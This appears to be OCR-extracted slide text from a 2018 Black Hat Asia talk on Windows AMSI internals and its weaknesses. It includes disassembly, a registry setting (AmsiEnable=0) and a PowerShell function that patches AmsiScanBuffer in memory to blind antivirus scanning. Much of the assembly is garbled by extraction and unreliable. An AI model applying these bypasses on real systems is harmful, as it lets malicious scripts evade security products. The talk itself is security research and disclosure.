10:22: Dowershell.exe	7124 CreateFile	C:\Windows\System32\WindowsPowerShell\v1.0\amsi.dll	SUCCESS
10:22: Zpowershell.exe	7124 🗟 QueryBasicInformationFile	C:\Windows\System32\WindowsPowerShell\v1.0\amsi.dll	SUCCESS
10:22: Zpowershell.exe	7124 🗟 CloseFile	C:\Windows\System32\WindowsPowerShell\v1.0\amsi.dll	SUCCESS
10:22: Zpowershell.exe	7124 🗟 CreateFile	C:\Windows\System32\WindowsPowerShell\v1.0\amsi.dll	SUCCESS
10:22: Zpowershell.exe	7124 🗟 Create File Mapping	C:\Windows\System32\WindowsPowerShell\v1.0\amsi.dll	FILE LOCKED W
10:22: Zpowershell.exe	7124 🗟 QueryStandardInformationFile	C:\Windows\System32\WindowsPowerShell\v1.0\amsi.dll	SUCCESS
10:22: Zpowershell.exe	7124 CreateFileMapping	C:\Windows\System32\WindowsPowerShell\v1.0\amsi.dll	SUCCESS
10:22: Zpowershell.exe	7124 🔩 Load Image	C:\Windows\System32\WindowsPowerShell\v1.0\amsi.dll	SUCCESS
10:22: Zpowershell.exe	7124 CloseFile	C:\Windows\System32\WindowsPowerShell\v1.0\amsi.dll	SUCCESS

## black hat AMSI In VBScript/JScript

#BHASIA

public: int COleScript::Initialize(void) proc near



cs: guard dispatch icall fptr ; AmsiInitialize(appName, amsiContext);

call

test

R lbl set amsicontext null

public: long COleScript::CheckDynamicCodeSafety(unsigned short const \*) proc near

var_40= 0	qword	ptr	
	gword	ptr	
arg_0= di	word p		
arg_8= q	word p		
arg_10= 0	gword	ptr	
arg_18= 0	qword	ptr	

IOV	[rsp-18h+arg_8], rbx
oush	
oush	
oush	
iov	rbp, rsp
ub	rsp, 60h
mp	<pre>gword ptr [rcx+C0leScript.R amsiContext], 0</pre>
10V	rsi, rdx
ιοv	
z	loc 180001220



📕 📬 🔛

#### loc 1800011DC:

- r8. [rbx+3A8h] mov
- - rax, [rbp+arg 0] lea

  - rcx, [rbx+398h] mov
- xor

- mov
- mov
- rax, qword ptr [rbx+COleScript.R\_AmsiScanString] mov
- call cs: guard dispatch icall fptr ; AmsiScanString( amsiContext, string, contentName, session, result );
- test is short loc 180001220

# black hat AmsiEnable Bypass

100		
TCa	rax, [r	sp+38h+hKey]
mov	r9d, KE	Y_READ ; samDesired
xor	r8d, r8	d ; ulOptions
mov	[rsp+38	h+phkResult], rax ; phkResult
lea	rdx, aS	oftwareMicros ; "SOFTWARE\\Microsoft\\Windows Script\\Se"
; No ne	eed for A	dministrator!
mov	rcx, HK	EY_CURRENT_USER ; hKey
call	cs:im	p_RegOpenKeyExW
test	eax, ea	
jnz	short 1	oc_18000FD90
	1242244	
	🚺 🚮 😼	
	mov	<pre>rcx, [rsp+38h+hKey] ; hKey</pre>
	lea	rax, [rsp+38h+cbData]
	mov	<pre>[rsp+38h+lpcbData], rax ; lpcbData</pre>
	lea	r9, [rsp+38h+Type] ; lpType
	lea	rax, [rsp+38h+Data]
	mov	[rsp+38h+cbData], 4
	xor	r8d, r8d ; 1pReserved
	mov	[rsp+38h+phkResult], rax ; lpData
	lea	rdx, ValueName ; "AmsiEnable"
	call	cs:imp_RegQueryValueExW
	mov	<pre>rcx, [rsp+38h+hKey] ; hKey</pre>
	mov	ebx, eax
	call	cs:imp_RegCloseKey
	test	ebx, ebx
	jz	loc_18002B342



- No need for administrator access
- In registry
  - HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable

#BHASIA

• Create value AmsiEnable=0



• Some of the implementation issues have been fixed

#BHASIA

• Some will be fixed, at MS discretion



- Not all issues are "just" implementations flaws
- What if we have some issues that aren't so easy to fix?

- Then we have a more serious problem
- Let's see some examples



 Is it possible to bypass AMSI with a command line that would fit into a tweet?

- Let's go back to Powershell's source code
- Remember amsilnitFailed?
- What if we could somehow manually set it to true?
- PowerShell is a very very powerful tool
- No need for administrator access

# **black hat** Disabling AMSI - in a single tweet!

Q 3	tl 20 ♡ 60 ⊠	
Matt Gra @mattifest	aeber tation	
AMSI bypa	ass in a single tweet. :)	
2 Retweets 8 Likes	🔮 🛞 😣 🌘 🌚 🍘 🗐 😤	
Q 1 tl 2	♡ 8 ⊠	



- Powershell allows you to make native API calls
- Using native API calls there are countless ways to bypass AMSI
- There was a publication by 2 researchers from <u>CyberArk</u> describing an AMSI bypass by loading a native DLL from disk
- Let's demonstrate a much simpler approach
- Powershell calls AmsiScanBuffer
- AmsiScanBuffer passes the buffer to scan along to AMSI mechanism
- AMSI mechanism passes buffer to providers



- No need for administrator access and no DLL on disk
- Let's stop AmsiScanBuffer from passing on the request

• In-memory patching function Patch-AmsiScanBuffer {

[UInt32]\$AmsiScanBufferAddress = [long](Get-ProcAddress amsi.dll AmsiScanBuffer) [UInt32]\$Size = 0x4 [UInt32]\$ProtectFlag = 0x40 [UInt32]\$OldProtectFlag = 0

\$Win32Functions.VirtualProtect.Invoke(\$AmsiScanBufferAddress, \$Size, \$ProtectFlag, [Ref]\$OldProtectFlag)

\$Win32Functions.memset.Invoke(\$AmsiScanBufferAddress, 0xB0, 1) \$Win32Functions.memset.Invoke(\$AmsiScanBufferAddress+1, 0x01, 1) \$Win32Functions.memset.Invoke(\$AmsiScanBufferAddress+2, 0xc2, 1) \$Win32Functions.memset.Invoke(\$AmsiScanBufferAddress+3, 0x18, 1) \$Win32Functions.memset.Invoke(\$AmsiScanBufferAddress+4, 0x00, 1)





- The Good
  - $\circ$  All security vendors should implement providers
  - $\circ$  It's so easy, it's a shame to miss out on more visibility
  - $\circ$  The fact that an app can request content to be scanned is good
- The Bad
  - $\circ$  As long as Powershell can do anything in .NET, it will be very hard to beat obfuscation
  - $\circ$  Same issues will come up with other scripting languages such as Python



Script Based Malware and Obfuscation

- What was AMSI created for?
- AMSI Internals
  - Design + API
  - Structures
  - Initialization
  - Dispatching
  - Provider Implementation
  - Provider Registration



### • Bypassing

- Implementation Issues
  - COM Server Hijacking

- NULL Terminator
- AmsiEnable
- Fundamental Issues
  - One Liner
  - In-memory games

## black hat ASIA 2018

#### MARCH 20-23, 2018

MARINA BAY SANDS / SINGAPORE

### Thank You

### Questions? @Tal\_Liberman

